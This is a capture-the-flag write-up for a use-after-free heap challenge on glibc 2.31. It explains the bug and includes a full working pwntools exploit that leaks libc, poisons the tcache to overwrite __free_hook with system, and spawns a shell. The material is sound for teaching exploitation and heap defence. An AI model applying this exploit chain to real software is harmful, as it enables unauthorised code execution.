uaf-20.04
Use-After-Free on Ubuntu 20.04.
4 min read
[ + ]Introduction
This challenge is the exploitation of a simple Use-After-Free vulnerability on Ubuntu 20.04. We are working with glibc 2.31 so fortunately there is no need to bypass any advanced mitigation techniques.
[ + ]Reversing
Below you can find the decompiled code snippets, explanations, and details about the heap overflow vulnerability.
TL;DR - UAF vulnerability caused by not removing pointers to chunks on the heap from an array which is also referenced for read and write.
main
As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.
add
Here we can see we are able to add a node.
At the top we see that the global array
is of size 0xF
. Then we allocate a chunk on the heap of any size less than 0x1FFF
. The pointer to the chunk is stored in array
and the size is stored in size_array
.
delete
Here we are able to delete nodes.
We can see that by providing some input less than 0xF
results in the freeing of the chunk from the pointer at array[v0]
. There is a crucial flaw here. The pointer is not removed from the array, leading to a UAF vulnerability as you will see in edit
and show
.
edit
Here we are able to edit a node.
The node is directly modified through the pointer at array[v1]
based on the input we provided. This would not be possible if the pointer was removed at delete
. This causes a UAF vulnerability since we are able to modify a chunk after it is freed.
show
Here we are able to show a node.
The node and size of the node is pulled from array
and size_array
respectively based on the input we provide. Since these arrays are not update in delete
. We can theoretically free
the chunks, and show them again in the show
subroutine.
[ + ]Exploiting
In order to exploit this UAF vulnerability there are a few steps.
- Leak libc
- Overwrite
__free_hook
withsystem
and ensure correct/bin/sh
parameter - Trigger
__free_hook
(system
)
Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408
such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk. We can set ourselves up for the next step by allocating three chunks rather than one.
# Setup libc leak
add(0x409) # 0
# Protect from top chunk and setup tcache (see next setup)
for i in range(3):
add(0x20) # 1, 2, 3
# UAF to read libc address
delete(0)
edit(0, b"")
content = read(0)
address = u64(content[0x11:0x11 + 8])
libc_base = address - 0x1ecbe0
libc.address = libc_base
log.info("Leak is: " + hex(address))
log.info("libc is: " + hex(libc_base))
log.info("puts is: " + hex(libc.sym.puts))
free_hook = address + 0x2268
When looking at the heap, we see the following:
As show, we have a chunk in unsorted_bins
after being freed and successfully leaked libc.
Now lets look at overwriting the content at __free_hook
and ensuring that /bin/sh
is passed as an argument when system
is called.
# Add __free_hook as forward pointer and set /bin/sh\0 as argument
delete(3)
delete(2)
delete(1)
edit(1, p64(free_hook))
edit(2, b'/bin/sh\0')
add(0x20) # 4
add(0x20) # 5
edit(5, p64(libc.sym.system))
delete(2)
p.interactive()
Here we are adding the address on __free_hook
to the forward pointer of chunk 1, such that when we edit chunk 5 (in the place of chunk 2) we will actually be modifying the content at the address of __free_hook
.
We can see the heap setup before modifying chunk 5 is as follows:
So that after we edit chunk 5, we have actually modified the content at free hook:
From there, we can trigger system
by freeing anything really, but to ensure we have /bin/sh
as our argument, we free the second or fifth chunk (since they have the same pointer in array
).
[ + ]Solution
Solver
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(['/nyu/uaf'])
pause()
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def cmd(c):
sla(b'>', str(c).encode())
def add(size):
cmd(1)
sla(b':\n', str(size).encode())
def delete(index_to_delete):
cmd(2)
cmd(index_to_delete)
def edit(index, content=b'A'):
cmd(3)
cmd(index)
sla(b':\n', content)
def read(index):
cmd(4)
cmd(index)
res = ru(b"Exit\n=========== NYU OFFSEC ============\n")
return res
def pwn():
# Setup libc leak
add(0x409) # 0
# Protect from top chunk and setup tcache (see next setup)
for i in range(3):
add(0x20) # 1, 2, 3
# UAF to read libc address
delete(0)
edit(0, b"")
content = read(0)
address = u64(content[0x11:0x11 + 8])
libc_base = address - 0x1ecbe0
libc.address = libc_base
log.info("Leak is: " + hex(address))
log.info("libc is: " + hex(libc_base))
log.info("puts is: " + hex(libc.sym.puts))
free_hook = address + 0x2268
# Add __free_hook as forward pointer and set /bin/sh\0 as argument
delete(3)
delete(2)
delete(1)
edit(1, p64(free_hook))
edit(2, b'/bin/sh\0')
add(0x20) # 4
add(0x20) # 5
edit(5, p64(libc.sym.system))
delete(2)
p.interactive()
if __name__ == "__main__":
pwn()